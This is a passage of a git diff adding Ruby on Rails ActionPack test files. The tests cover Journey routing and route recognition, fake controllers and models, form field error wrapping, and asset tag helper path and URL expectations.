+ {:controller =>"tasks", :id => 10},
+ {:action =>"index"})
+ assert_equal '/tasks/index/10', path
+ assert_equal({}, params)
+ end
+
+ def test_generate_with_name
+ path = Path::Pattern.new '/:controller(/:action)'
+ @router.routes.add_route nil, path, {}, {}, {}
+
+ path, params = @formatter.generate(:path_info,
+ "tasks",
+ {:controller=>"tasks"},
+ {:controller=>"tasks", :action=>"index"})
+ assert_equal '/tasks', path
+ assert_equal({}, params)
+ end
+
+ {
+ '/content' => { :controller => 'content' },
+ '/content/list' => { :controller => 'content', :action => 'list' },
+ '/content/show/10' => { :controller => 'content', :action => 'show', :id => "10" },
+ }.each do |request_path, expected|
+ define_method("test_recognize_#{expected.keys.map(&:to_s).join('_')}") do
+ path = Path::Pattern.new "/:controller(/:action(/:id))"
+ app = Object.new
+ route = @router.routes.add_route(app, path, {}, {}, {})
+
+ env = rails_env 'PATH_INFO' => request_path
+ called = false
+
+ @router.recognize(env) do |r, _, params|
+ assert_equal route, r
+ assert_equal(expected, params)
+ called = true
+ end
+
+ assert called
+ end
+ end
+
+ {
+ :segment => ['/a%2Fb%20c+d/splat', { :segment => 'a/b c+d', :splat => 'splat' }],
+ :splat => ['/segment/a/b%20c+d', { :segment => 'segment', :splat => 'a/b c+d' }]
+ }.each do |name, (request_path, expected)|
+ define_method("test_recognize_#{name}") do
+ path = Path::Pattern.new '/:segment/*splat'
+ app = Object.new
+ route = @router.routes.add_route(app, path, {}, {}, {})
+
+ env = rails_env 'PATH_INFO' => request_path
+ called = false
+
+ @router.recognize(env) do |r, _, params|
+ assert_equal route, r
+ assert_equal(expected, params)
+ called = true
+ end
+
+ assert called
+ end
+ end
+
+ def test_namespaced_controller
+ strexp = Router::Strexp.new(
+ "/:controller(/:action(/:id))",
+ { :controller => /.+?/ },
+ ["/", ".", "?"]
+ )
+ path = Path::Pattern.new strexp
+ app = Object.new
+ route = @router.routes.add_route(app, path, {}, {}, {})
+
+ env = rails_env 'PATH_INFO' => '/admin/users/show/10'
+ called = false
+ expected = {
+ :controller => 'admin/users',
+ :action => 'show',
+ :id => '10'
+ }
+
+ @router.recognize(env) do |r, _, params|
+ assert_equal route, r
+ assert_equal(expected, params)
+ called = true
+ end
+ assert called
+ end
+
+ def test_recognize_literal
+ path = Path::Pattern.new "/books(/:action(.:format))"
+ app = Object.new
+ route = @router.routes.add_route(app, path, {}, {:controller => 'books'})
+
+ env = rails_env 'PATH_INFO' => '/books/list.rss'
+ expected = { :controller => 'books', :action => 'list', :format => 'rss' }
+ called = false
+ @router.recognize(env) do |r, _, params|
+ assert_equal route, r
+ assert_equal(expected, params)
+ called = true
+ end
+
+ assert called
+ end
+
+ def test_recognize_head_request_as_get_route
+ path = Path::Pattern.new "/books(/:action(.:format))"
+ app = Object.new
+ conditions = {
+ :request_method => 'GET'
+ }
+ @router.routes.add_route(app, path, conditions, {})
+
+ env = rails_env 'PATH_INFO' => '/books/list.rss',
+ "REQUEST_METHOD" => "HEAD"
+
+ called = false
+ @router.recognize(env) do |r, _, params|
+ called = true
+ end
+
+ assert called
+ end
+
+ def test_recognize_cares_about_verbs
+ path = Path::Pattern.new "/books(/:action(.:format))"
+ app = Object.new
+ conditions = {
+ :request_method => 'GET'
+ }
+ @router.routes.add_route(app, path, conditions, {})
+
+ conditions = conditions.dup
+ conditions[:request_method] = 'POST'
+
+ post = @router.routes.add_route(app, path, conditions, {})
+
+ env = rails_env 'PATH_INFO' => '/books/list.rss',
+ "REQUEST_METHOD" => "POST"
+
+ called = false
+ @router.recognize(env) do |r, _, params|
+ assert_equal post, r
+ called = true
+ end
+
+ assert called
+ end
+
+ private
+
+ def add_routes router, paths
+ paths.each do |path|
+ path = Path::Pattern.new path
+ router.routes.add_route nil, path, {}, {}, {}
+ end
+ end
+
+ RailsEnv = Struct.new(:env)
+
+ def rails_env env
+ RailsEnv.new rack_env env
+ end
+
+ def rack_env env
+ {
+ "rack.version" => [1, 1],
+ "rack.input" => StringIO.new,
+ "rack.errors" => StringIO.new,
+ "rack.multithread" => true,
+ "rack.multiprocess" => true,
+ "rack.run_once" => false,
+ "REQUEST_METHOD" => "GET",
+ "SERVER_NAME" => "example.org",
+ "SERVER_PORT" => "80",
+ "QUERY_STRING" => "",
+ "PATH_INFO" => "/content",
+ "rack.url_scheme" => "http",
+ "HTTPS" => "off",
+ "SCRIPT_NAME" => "",
+ "CONTENT_LENGTH" => "0"
+ }.merge env
+ end
+ end
+ end
+end
diff --git a/actionpack/test/journey/routes_test.rb b/actionpack/test/journey/routes_test.rb
new file mode 100644
index 0000000..25e0321
--- /dev/null
+++ b/actionpack/test/journey/routes_test.rb
@@ -0,0 +1,53 @@
+require 'abstract_unit'
+
+module ActionDispatch
+ module Journey
+ class TestRoutes < ActiveSupport::TestCase
+ def test_clear
+ routes = Routes.new
+ exp = Router::Strexp.new '/foo(/:id)', {}, ['/.?']
+ path = Path::Pattern.new exp
+ requirements = { :hello => /world/ }
+
+ routes.add_route nil, path, requirements, {:id => nil}, {}
+ assert_equal 1, routes.length
+
+ routes.clear
+ assert_equal 0, routes.length
+ end
+
+ def test_ast
+ routes = Routes.new
+ path = Path::Pattern.new '/hello'
+
+ routes.add_route nil, path, {}, {}, {}
+ ast = routes.ast
+ routes.add_route nil, path, {}, {}, {}
+ assert_not_equal ast, routes.ast
+ end
+
+ def test_simulator_changes
+ routes = Routes.new
+ path = Path::Pattern.new '/hello'
+
+ routes.add_route nil, path, {}, {}, {}
+ sim = routes.simulator
+ routes.add_route nil, path, {}, {}, {}
+ assert_not_equal sim, routes.simulator
+ end
+
+ def test_first_name_wins
+ #def add_route app, path, conditions, defaults, name = nil
+ routes = Routes.new
+
+ one = Path::Pattern.new '/hello'
+ two = Path::Pattern.new '/aaron'
+
+ routes.add_route nil, one, {}, {}, 'aaron'
+ routes.add_route nil, two, {}, {}, 'aaron'
+
+ assert_equal '/hello', routes.named_routes['aaron'].path.spec.to_s
+ end
+ end
+ end
+end
diff --git a/actionpack/test/lib/controller/fake_controllers.rb b/actionpack/test/lib/controller/fake_controllers.rb
new file mode 100644
index 0000000..1a2863b
--- /dev/null
+++ b/actionpack/test/lib/controller/fake_controllers.rb
@@ -0,0 +1,35 @@
+class ContentController < ActionController::Base; end
+
+module Admin
+ class AccountsController < ActionController::Base; end
+ class PostsController < ActionController::Base; end
+ class StuffController < ActionController::Base; end
+ class UserController < ActionController::Base; end
+ class UsersController < ActionController::Base; end
+end
+
+module Api
+ class UsersController < ActionController::Base; end
+ class ProductsController < ActionController::Base; end
+end
+
+class AccountController < ActionController::Base; end
+class ArchiveController < ActionController::Base; end
+class ArticlesController < ActionController::Base; end
+class BarController < ActionController::Base; end
+class BlogController < ActionController::Base; end
+class BooksController < ActionController::Base; end
+class CarsController < ActionController::Base; end
+class CcController < ActionController::Base; end
+class CController < ActionController::Base; end
+class FooController < ActionController::Base; end
+class GeocodeController < ActionController::Base; end
+class NewsController < ActionController::Base; end
+class NotesController < ActionController::Base; end
+class PagesController < ActionController::Base; end
+class PeopleController < ActionController::Base; end
+class PostsController < ActionController::Base; end
+class SubpathBooksController < ActionController::Base; end
+class SymbolsController < ActionController::Base; end
+class UserController < ActionController::Base; end
+class UsersController < ActionController::Base; end
diff --git a/actionpack/test/lib/controller/fake_models.rb b/actionpack/test/lib/controller/fake_models.rb
new file mode 100644
index 0000000..82f38b5
--- /dev/null
+++ b/actionpack/test/lib/controller/fake_models.rb
@@ -0,0 +1,219 @@
+require "active_model"
+
+class Customer < Struct.new(:name, :id)
+ extend ActiveModel::Naming
+ include ActiveModel::Conversion
+
+ undef_method :to_json
+
+ def to_xml(options={})
+ if options[:builder]
+ options[:builder].name name
+ else
+ "<name>#{name}</name>"
+ end
+ end
+
+ def to_js(options={})
+ "name: #{name.inspect}"
+ end
+ alias :to_text :to_js
+
+ def errors
+ []
+ end
+
+ def persisted?
+ id.present?
+ end
+end
+
+class BadCustomer < Customer
+end
+
+class GoodCustomer < Customer
+end
+
+class ValidatedCustomer < Customer
+ def errors
+ if name =~ /Sikachu/i
+ []
+ else
+ [{:name => "is invalid"}]
+ end
+ end
+end
+
+module Quiz
+ class Question < Struct.new(:name, :id)
+ extend ActiveModel::Naming
+ include ActiveModel::Conversion
+
+ def persisted?
+ id.present?
+ end
+ end
+
+ class Store < Question
+ end
+end
+
+class Post < Struct.new(:title, :author_name, :body, :secret, :persisted, :written_on, :cost)
+ extend ActiveModel::Naming
+ include ActiveModel::Conversion
+ extend ActiveModel::Translation
+
+ alias_method :secret?, :secret
+ alias_method :persisted?, :persisted
+
+ def initialize(*args)
+ super
+ @persisted = false
+ end
+
+ attr_accessor :author
+ def author_attributes=(attributes); end
+
+ attr_accessor :comments, :comment_ids
+ def comments_attributes=(attributes); end
+
+ attr_accessor :tags
+ def tags_attributes=(attributes); end
+end
+
+class Comment
+ extend ActiveModel::Naming
+ include ActiveModel::Conversion
+
+ attr_reader :id
+ attr_reader :post_id
+ def initialize(id = nil, post_id = nil); @id, @post_id = id, post_id end
+ def to_key; id ? [id] : nil end
+ def save; @id = 1; @post_id = 1 end
+ def persisted?; @id.present? end
+ def to_param; @id.to_s; end
+ def name
+ @id.nil? ? "new #{self.class.name.downcase}" : "#{self.class.name.downcase} ##{@id}"
+ end
+
+ attr_accessor :relevances
+ def relevances_attributes=(attributes); end
+
+ attr_accessor :body
+end
+
+class Tag
+ extend ActiveModel::Naming
+ include ActiveModel::Conversion
+
+ attr_reader :id
+ attr_reader :post_id
+ def initialize(id = nil, post_id = nil); @id, @post_id = id, post_id end
+ def to_key; id ? [id] : nil end
+ def save; @id = 1; @post_id = 1 end
+ def persisted?; @id.present? end
+ def to_param; @id; end
+ def value
+ @id.nil? ? "new #{self.class.name.downcase}" : "#{self.class.name.downcase} ##{@id}"
+ end
+
+ attr_accessor :relevances
+ def relevances_attributes=(attributes); end
+
+end
+
+class CommentRelevance
+ extend ActiveModel::Naming
+ include ActiveModel::Conversion
+
+ attr_reader :id
+ attr_reader :comment_id
+ def initialize(id = nil, comment_id = nil); @id, @comment_id = id, comment_id end
+ def to_key; id ? [id] : nil end
+ def save; @id = 1; @comment_id = 1 end
+ def persisted?; @id.present? end
+ def to_param; @id; end
+ def value
+ @id.nil? ? "new #{self.class.name.downcase}" : "#{self.class.name.downcase} ##{@id}"
+ end
+end
+
+class Sheep
+ extend ActiveModel::Naming
+ include ActiveModel::Conversion
+
+ attr_reader :id
+ def to_key; id ? [id] : nil end
+ def save; @id = 1 end
+ def new_record?; @id.nil? end
+ def name
+ @id.nil? ? 'new sheep' : "sheep ##{@id}"
+ end
+end
+
+
+class TagRelevance
+ extend ActiveModel::Naming
+ include ActiveModel::Conversion
+
+ attr_reader :id
+ attr_reader :tag_id
+ def initialize(id = nil, tag_id = nil); @id, @tag_id = id, tag_id end
+ def to_key; id ? [id] : nil end
+ def save; @id = 1; @tag_id = 1 end
+ def persisted?; @id.present? end
+ def to_param; @id; end
+ def value
+ @id.nil? ? "new #{self.class.name.downcase}" : "#{self.class.name.downcase} ##{@id}"
+ end
+end
+
+class Author < Comment
+ attr_accessor :post
+ def post_attributes=(attributes); end
+end
+
+class HashBackedAuthor < Hash
+ extend ActiveModel::Naming
+ include ActiveModel::Conversion
+
+ def persisted?; false; end
+
+ def name
+ "hash backed author"
+ end
+end
+
+module Blog
+ def self.use_relative_model_naming?
+ true
+ end
+
+ class Post < Struct.new(:title, :id)
+ extend ActiveModel::Naming
+ include ActiveModel::Conversion
+
+ def persisted?
+ id.present?
+ end
+ end
+end
+
+class ArelLike
+ def to_ary
+ true
+ end
+ def each
+ a = Array.new(2) { |id| Comment.new(id + 1) }
+ a.each { |i| yield i }
+ end
+end
+
+class RenderJsonTestException < Exception
+ def to_json(options = nil)
+ return { :error => self.class.name, :message => self.to_s }.to_json
+ end
+end
+
+class Car < Struct.new(:color)
+end
diff --git a/actionpack/test/routing/helper_test.rb b/actionpack/test/routing/helper_test.rb
new file mode 100644
index 0000000..a5588d9
--- /dev/null
+++ b/actionpack/test/routing/helper_test.rb
@@ -0,0 +1,31 @@
+require 'abstract_unit'
+
+module ActionDispatch
+ module Routing
+ class HelperTest < ActiveSupport::TestCase
+ class Duck
+ def to_param
+ nil
+ end
+ end
+
+ def test_exception
+ rs = ::ActionDispatch::Routing::RouteSet.new
+ rs.draw do
+ resources :ducks do
+ member do
+ get :pond
+ end
+ end
+ end
+
+ x = Class.new {
+ include rs.url_helpers
+ }
+ assert_raises ActionController::RoutingError do
+ x.new.pond_duck_path Duck.new
+ end
+ end
+ end
+ end
+end
diff --git a/actionpack/test/template/active_model_helper_test.rb b/actionpack/test/template/active_model_helper_test.rb
new file mode 100644
index 0000000..86bccdf
--- /dev/null
+++ b/actionpack/test/template/active_model_helper_test.rb
@@ -0,0 +1,99 @@
+require 'abstract_unit'
+
+class ActiveModelHelperTest < ActionView::TestCase
+ tests ActionView::Helpers::ActiveModelHelper
+
+ silence_warnings do
+ class Post < Struct.new(:author_name, :body, :updated_at)
+ include ActiveModel::Conversion
+ include ActiveModel::Validations
+
+ def persisted?
+ false
+ end
+ end
+ end
+
+ def setup
+ super
+
+ @post = Post.new
+ @post.errors[:author_name] << "can't be empty"
+ @post.errors[:body] << "foo"
+ @post.errors[:updated_at] << "bar"
+
+ @post.author_name = ""
+ @post.body = "Back to the hill and over it again!"
+ @post.updated_at = Date.new(2004, 6, 15)
+ end
+
+ def test_text_area_with_errors
+ assert_dom_equal(
+ %(<div class="field_with_errors"><textarea id="post_body" name="post[body]">\nBack to the hill and over it again!</textarea></div>),
+ text_area("post", "body")
+ )
+ end
+
+ def test_text_field_with_errors
+ assert_dom_equal(
+ %(<div class="field_with_errors"><input id="post_author_name" name="post[author_name]" type="text" value="" /></div>),
+ text_field("post", "author_name")
+ )
+ end
+
+ def test_select_with_errors
+ assert_dom_equal(
+ %(<div class="field_with_errors"><select name="post[author_name]" id="post_author_name"><option value="a">a</option>\n<option value="b">b</option></select></div>),
+ select("post", "author_name", [:a, :b])
+ )
+ end
+
+ def test_select_with_errors_and_blank_option
+ expected_dom = %(<div class="field_with_errors"><select name="post[author_name]" id="post_author_name"><option value="">Choose one...</option>\n<option value="a">a</option>\n<option value="b">b</option></select></div>)
+ assert_dom_equal(expected_dom, select("post", "author_name", [:a, :b], :include_blank => 'Choose one...'))
+ assert_dom_equal(expected_dom, select("post", "author_name", [:a, :b], :prompt => 'Choose one...'))
+ end
+
+ def test_date_select_with_errors
+ assert_dom_equal(
+ %(<div class="field_with_errors"><select id="post_updated_at_1i" name="post[updated_at(1i)]">\n<option selected="selected" value="2004">2004</option>\n<option value="2005">2005</option>\n</select>\n<input id="post_updated_at_2i" name="post[updated_at(2i)]" type="hidden" value="6" />\n<input id="post_updated_at_3i" name="post[updated_at(3i)]" type="hidden" value="1" />\n</div>),
+ date_select("post", "updated_at", :discard_month => true, :discard_day => true, :start_year => 2004, :end_year => 2005)
+ )
+ end
+
+ def test_datetime_select_with_errors
+ assert_dom_equal(
+ %(<div class="field_with_errors"><input id="post_updated_at_1i" name="post[updated_at(1i)]" type="hidden" value="2004" />\n<input id="post_updated_at_2i" name="post[updated_at(2i)]" type="hidden" value="6" />\n<input id="post_updated_at_3i" name="post[updated_at(3i)]" type="hidden" value="1" />\n<select id="post_updated_at_4i" name="post[updated_at(4i)]">\n<option selected="selected" value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option val [...]
+ datetime_select("post", "updated_at", :discard_year => true, :discard_month => true, :discard_day => true, :minute_step => 60)
+ )
+ end
+
+ def test_time_select_with_errors
+ assert_dom_equal(
+ %(<div class="field_with_errors"><input id="post_updated_at_1i" name="post[updated_at(1i)]" type="hidden" value="2004" />\n<input id="post_updated_at_2i" name="post[updated_at(2i)]" type="hidden" value="6" />\n<input id="post_updated_at_3i" name="post[updated_at(3i)]" type="hidden" value="15" />\n<select id="post_updated_at_4i" name="post[updated_at(4i)]">\n<option selected="selected" value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option va [...]
+ time_select("post", "updated_at", :minute_step => 60)
+ )
+ end
+
+ def test_hidden_field_does_not_render_errors
+ assert_dom_equal(
+ %(<input id="post_author_name" name="post[author_name]" type="hidden" value="" />),
+ hidden_field("post", "author_name")
+ )
+ end
+
+ def test_field_error_proc
+ old_proc = ActionView::Base.field_error_proc
+ ActionView::Base.field_error_proc = Proc.new do |html_tag, instance|
+ %(<div class=\"field_with_errors\">#{html_tag} <span class="error">#{[instance.error_message].join(', ')}</span></div>).html_safe
+ end
+
+ assert_dom_equal(
+ %(<div class="field_with_errors"><input id="post_author_name" name="post[author_name]" type="text" value="" /> <span class="error">can't be empty</span></div>),
+ text_field("post", "author_name")
+ )
+ ensure
+ ActionView::Base.field_error_proc = old_proc if old_proc
+ end
+
+end
diff --git a/actionpack/test/template/asset_tag_helper_test.rb b/actionpack/test/template/asset_tag_helper_test.rb
new file mode 100644
index 0000000..11614a4
--- /dev/null
+++ b/actionpack/test/template/asset_tag_helper_test.rb
@@ -0,0 +1,746 @@
+require 'zlib'
+require 'abstract_unit'
+require 'active_support/ordered_options'
+
+class FakeController
+ attr_accessor :request
+
+ def config
+ @config ||= ActiveSupport::InheritableOptions.new(ActionController::Base.config)
+ end
+end
+
+class AssetTagHelperTest < ActionView::TestCase
+ tests ActionView::Helpers::AssetTagHelper
+
+ attr_reader :request
+
+ def setup
+ super
+
+ @controller = BasicController.new
+
+ @request = Class.new do
+ attr_accessor :script_name
+ def protocol() 'http://' end
+ def ssl?() false end
+ def host_with_port() 'localhost' end
+ def base_url() 'http://www.example.com' end
+ end.new
+
+ @controller.request = @request
+ end
+
+ def url_for(*args)
+ "http://www.example.com"
+ end
+
+ AssetPathToTag = {
+ %(asset_path("foo")) => %(/foo),
+ %(asset_path("style.css")) => %(/style.css),
+ %(asset_path("xmlhr.js")) => %(/xmlhr.js),
+ %(asset_path("xml.png")) => %(/xml.png),
+ %(asset_path("dir/xml.png")) => %(/dir/xml.png),
+ %(asset_path("/dir/xml.png")) => %(/dir/xml.png),
+
+ %(asset_path("script.min")) => %(/script.min),
+ %(asset_path("script.min.js")) => %(/script.min.js),
+ %(asset_path("style.min")) => %(/style.min),
+ %(asset_path("style.min.css")) => %(/style.min.css),
+
+ %(asset_path("style", type: :stylesheet)) => %(/stylesheets/style.css),
+ %(asset_path("xmlhr", type: :javascript)) => %(/javascripts/xmlhr.js),
+ %(asset_path("xml.png", type: :image)) => %(/images/xml.png)
+ }
+
+ AutoDiscoveryToTag = {
+ %(auto_discovery_link_tag) => %(<link href="http://www.example.com" rel="alternate" title="RSS" type="application/rss+xml" />),
+ %(auto_discovery_link_tag(:rss)) => %(<link href="http://www.example.com" rel="alternate" title="RSS" type="application/rss+xml" />),
+ %(auto_discovery_link_tag(:atom)) => %(<link href="http://www.example.com" rel="alternate" title="ATOM" type="application/atom+xml" />),
+ %(auto_discovery_link_tag(:rss, :action => "feed")) => %(<link href="http://www.example.com" rel="alternate" title="RSS" type="application/rss+xml" />),
+ %(auto_discovery_link_tag(:rss, "http://localhost/feed")) => %(<link href="http://localhost/feed" rel="alternate" title="RSS" type="application/rss+xml" />),
+ %(auto_discovery_link_tag(:rss, "//localhost/feed")) => %(<link href="//localhost/feed" rel="alternate" title="RSS" type="application/rss+xml" />),
+ %(auto_discovery_link_tag(:rss, {:action => "feed"}, {:title => "My RSS"})) => %(<link href="http://www.example.com" rel="alternate" title="My RSS" type="application/rss+xml" />),
+ %(auto_discovery_link_tag(:rss, {}, {:title => "My RSS"})) => %(<link href="http://www.example.com" rel="alternate" title="My RSS" type="application/rss+xml" />),
+ %(auto_discovery_link_tag(nil, {}, {:type => "text/html"})) => %(<link href="http://www.example.com" rel="alternate" title="" type="text/html" />),
+ %(auto_discovery_link_tag(nil, {}, {:title => "No stream.. really", :type => "text/html"})) => %(<link href="http://www.example.com" rel="alternate" title="No stream.. really" type="text/html" />),
+ %(auto_discovery_link_tag(:rss, {}, {:title => "My RSS", :type => "text/html"})) => %(<link href="http://www.example.com" rel="alternate" title="My RSS" type="text/html" />),
+ %(auto_discovery_link_tag(:atom, {}, {:rel => "Not so alternate"})) => %(<link href="http://www.example.com" rel="Not so alternate" title="ATOM" type="application/atom+xml" />),
+ }
+
+ JavascriptPathToTag = {
+ %(javascript_path("xmlhr")) => %(/javascripts/xmlhr.js),
+ %(javascript_path("super/xmlhr")) => %(/javascripts/super/xmlhr.js),
+ %(javascript_path("/super/xmlhr.js")) => %(/super/xmlhr.js),
+ %(javascript_path("xmlhr.min")) => %(/javascripts/xmlhr.min.js),
+ %(javascript_path("xmlhr.min.js")) => %(/javascripts/xmlhr.min.js),
+
+ %(javascript_path("xmlhr.js?123")) => %(/javascripts/xmlhr.js?123),
+ %(javascript_path("xmlhr.js?body=1")) => %(/javascripts/xmlhr.js?body=1),
+ %(javascript_path("xmlhr.js#hash")) => %(/javascripts/xmlhr.js#hash),
+ %(javascript_path("xmlhr.js?123#hash")) => %(/javascripts/xmlhr.js?123#hash)
+ }
+
+ PathToJavascriptToTag = {
+ %(path_to_javascript("xmlhr")) => %(/javascripts/xmlhr.js),
+ %(path_to_javascript("super/xmlhr")) => %(/javascripts/super/xmlhr.js),
+ %(path_to_javascript("/super/xmlhr.js")) => %(/super/xmlhr.js)
+ }
+
+ JavascriptUrlToTag = {
+ %(javascript_url("xmlhr")) => %(http://www.example.com/javascripts/xmlhr.js),
+ %(javascript_url("super/xmlhr")) => %(http://www.example.com/javascripts/super/xmlhr.js),
+ %(javascript_url("/super/xmlhr.js")) => %(http://www.example.com/super/xmlhr.js)
+ }
+
+ UrlToJavascriptToTag = {
+ %(url_to_javascript("xmlhr")) => %(http://www.example.com/javascripts/xmlhr.js),
+ %(url_to_javascript("super/xmlhr")) => %(http://www.example.com/javascripts/super/xmlhr.js),
+ %(url_to_javascript("/super/xmlhr.js")) => %(http://www.example.com/super/xmlhr.js)
+ }
+
+ JavascriptIncludeToTag = {
+ %(javascript_include_tag("bank")) => %(<script src="/javascripts/bank.js" ></script>),
+ %(javascript_include_tag("bank.js")) => %(<script src="/javascripts/bank.js" ></script>),
+ %(javascript_include_tag("bank", :lang => "vbscript")) => %(<script lang="vbscript" src="/javascripts/bank.js" ></script>),
+
+ %(javascript_include_tag("http://example.com/all")) => %(<script src="http://example.com/all"></script>),
+ %(javascript_include_tag("http://example.com/all.js")) => %(<script src="http://example.com/all.js"></script>),
+ %(javascript_include_tag("//example.com/all.js")) => %(<script src="//example.com/all.js"></script>),
+ }
+
+ StylePathToTag = {
+ %(stylesheet_path("bank")) => %(/stylesheets/bank.css),
+ %(stylesheet_path("bank.css")) => %(/stylesheets/bank.css),
+ %(stylesheet_path('subdir/subdir')) => %(/stylesheets/subdir/subdir.css),
+ %(stylesheet_path('/subdir/subdir.css')) => %(/subdir/subdir.css),
+ %(stylesheet_path("style.min")) => %(/stylesheets/style.min.css),
+ %(stylesheet_path("style.min.css")) => %(/stylesheets/style.min.css)
+ }
+
+ PathToStyleToTag = {
+ %(path_to_stylesheet("style")) => %(/stylesheets/style.css),
+ %(path_to_stylesheet("style.css")) => %(/stylesheets/style.css),
+ %(path_to_stylesheet('dir/file')) => %(/stylesheets/dir/file.css),
+ %(path_to_stylesheet('/dir/file.rcss', :extname => false)) => %(/dir/file.rcss),
+ %(path_to_stylesheet('/dir/file', :extname => '.rcss')) => %(/dir/file.rcss)
+ }
+
+ StyleUrlToTag = {
+ %(stylesheet_url("bank")) => %(http://www.example.com/stylesheets/bank.css),
+ %(stylesheet_url("bank.css")) => %(http://www.example.com/stylesheets/bank.css),
+ %(stylesheet_url('subdir/subdir')) => %(http://www.example.com/stylesheets/subdir/subdir.css),
+ %(stylesheet_url('/subdir/subdir.css')) => %(http://www.example.com/subdir/subdir.css)
+ }
+
+ UrlToStyleToTag = {
+ %(url_to_stylesheet("style")) => %(http://www.example.com/stylesheets/style.css),
+ %(url_to_stylesheet("style.css")) => %(http://www.example.com/stylesheets/style.css),
+ %(url_to_stylesheet('dir/file')) => %(http://www.example.com/stylesheets/dir/file.css),
+ %(url_to_stylesheet('/dir/file.rcss', :extname => false)) => %(http://www.example.com/dir/file.rcss),
+ %(url_to_stylesheet('/dir/file', :extname => '.rcss')) => %(http://www.example.com/dir/file.rcss)
+ }
+
+ StyleLinkToTag = {
+ %(stylesheet_link_tag("bank")) => %(<link href="/stylesheets/bank.css" media="screen" rel="stylesheet" />),
+ %(stylesheet_link_tag("bank.css")) => %(<link href="/stylesheets/bank.css" media="screen" rel="stylesheet" />),
+ %(stylesheet_link_tag("/elsewhere/file")) => %(<link href="/elsewhere/file.css" media="screen" rel="stylesheet" />),
+ %(stylesheet_link_tag("subdir/subdir")) => %(<link href="/stylesheets/subdir/subdir.css" media="screen" rel="stylesheet" />),
+ %(stylesheet_link_tag("bank", :media => "all")) => %(<link href="/stylesheets/bank.css" media="all" rel="stylesheet" />),
+
+ %(stylesheet_link_tag("http://www.example.com/styles/style")) => %(<link href="http://www.example.com/styles/style" media="screen" rel="stylesheet" />),
+ %(stylesheet_link_tag("http://www.example.com/styles/style.css")) => %(<link href="http://www.example.com/styles/style.css" media="screen" rel="stylesheet" />),
+ %(stylesheet_link_tag("//www.example.com/styles/style.css")) => %(<link href="//www.example.com/styles/style.css" media="screen" rel="stylesheet" />),
+ }
+
+ ImagePathToTag = {
+ %(image_path("xml")) => %(/images/xml),
+ %(image_path("xml.png")) => %(/images/xml.png),
+ %(image_path("dir/xml.png")) => %(/images/dir/xml.png),
+ %(image_path("/dir/xml.png")) => %(/dir/xml.png)
+ }
+
+ PathToImageToTag = {
+ %(path_to_image("xml")) => %(/images/xml),
+ %(path_to_image("xml.png")) => %(/images/xml.png),
+ %(path_to_image("dir/xml.png")) => %(/images/dir/xml.png),
+ %(path_to_image("/dir/xml.png")) => %(/dir/xml.png)
+ }
+
+ ImageUrlToTag = {
+ %(image_url("xml")) => %(http://www.example.com/images/xml),
+ %(image_url("xml.png")) => %(http://www.example.com/images/xml.png),
+ %(image_url("dir/xml.png")) => %(http://www.example.com/images/dir/xml.png),
+ %(image_url("/dir/xml.png")) => %(http://www.example.com/dir/xml.png)
+ }
+
+ UrlToImageToTag = {
+ %(url_to_image("xml")) => %(http://www.example.com/images/xml),
+ %(url_to_image("xml.png")) => %(http://www.example.com/images/xml.png),
+ %(url_to_image("dir/xml.png")) => %(http://www.example.com/images/dir/xml.png),
+ %(url_to_image("/dir/xml.png")) => %(http://www.example.com/dir/xml.png)
+ }
+
+ ImageLinkToTag = {
+ %(image_tag("xml.png")) => %(<img alt="Xml" src="/images/xml.png" />),
+ %(image_tag("rss.gif", :alt => "rss syndication")) => %(<img alt="rss syndication" src="/images/rss.gif" />),
+ %(image_tag("gold.png", :size => "20")) => %(<img alt="Gold" height="20" src="/images/gold.png" width="20" />),
+ %(image_tag("gold.png", :size => "45x70")) => %(<img alt="Gold" height="70" src="/images/gold.png" width="45" />),
+ %(image_tag("gold.png", "size" => "45x70")) => %(<img alt="Gold" height="70" src="/images/gold.png" width="45" />),
+ %(image_tag("error.png", "size" => "45 x 70")) => %(<img alt="Error" src="/images/error.png" />),
+ %(image_tag("error.png", "size" => "x")) => %(<img alt="Error" src="/images/error.png" />),
+ %(image_tag("google.com.png")) => %(<img alt="Google.com" src="/images/google.com.png" />),
+ %(image_tag("slash..png")) => %(<img alt="Slash." src="/images/slash..png" />),
+ %(image_tag(".pdf.png")) => %(<img alt=".pdf" src="/images/.pdf.png" />),
+ %(image_tag("http://www.rubyonrails.com/images/rails.png")) => %(<img alt="Rails" src="http://www.rubyonrails.com/images/rails.png" />),
+ %(image_tag("//www.rubyonrails.com/images/rails.png")) => %(<img alt="Rails" src="//www.rubyonrails.com/images/rails.png" />),
+ %(image_tag("mouse.png", :alt => nil)) => %(<img src="/images/mouse.png" />),
+ %(image_tag("data:image/gif;base64,R0lGODlhAQABAID/AMDAwAAAACH5BAEAAAAALAAAAAABAAEAAAICRAEAOw==", :alt => nil)) => %(<img src="data:image/gif;base64,R0lGODlhAQABAID/AMDAwAAAACH5BAEAAAAALAAAAAABAAEAAAICRAEAOw==" />),
+ %(image_tag("")) => %(<img src="" />)
+ }
+
+ FaviconLinkToTag = {
+ %(favicon_link_tag) => %(<link href="/images/favicon.ico" rel="shortcut icon" type="image/vnd.microsoft.icon" />),
+ %(favicon_link_tag 'favicon.ico') => %(<link href="/images/favicon.ico" rel="shortcut icon" type="image/vnd.microsoft.icon" />),
+ %(favicon_link_tag 'favicon.ico', :rel => 'foo') => %(<link href="/images/favicon.ico" rel="foo" type="image/vnd.microsoft.icon" />),
+ %(favicon_link_tag 'favicon.ico', :rel => 'foo', :type => 'bar') => %(<link href="/images/favicon.ico" rel="foo" type="bar" />),
+ %(favicon_link_tag 'mb-icon.png', :rel => 'apple-touch-icon', :type => 'image/png') => %(<link href="/images/mb-icon.png" rel="apple-touch-icon" type="image/png" />)
+ }
+
+ VideoPathToTag = {
+ %(video_path("xml")) => %(/videos/xml),
+ %(video_path("xml.ogg")) => %(/videos/xml.ogg),
+ %(video_path("dir/xml.ogg")) => %(/videos/dir/xml.ogg),
+ %(video_path("/dir/xml.ogg")) => %(/dir/xml.ogg)
+ }
+
+ PathToVideoToTag = {
+ %(path_to_video("xml")) => %(/videos/xml),
+ %(path_to_video("xml.ogg")) => %(/videos/xml.ogg),
+ %(path_to_video("dir/xml.ogg")) => %(/videos/dir/xml.ogg),
+ %(path_to_video("/dir/xml.ogg")) => %(/dir/xml.ogg)
+ }
+
+ VideoUrlToTag = {
+ %(video_url("xml")) => %(http://www.example.com/videos/xml),
+ %(video_url("xml.ogg")) => %(http://www.example.com/videos/xml.ogg),
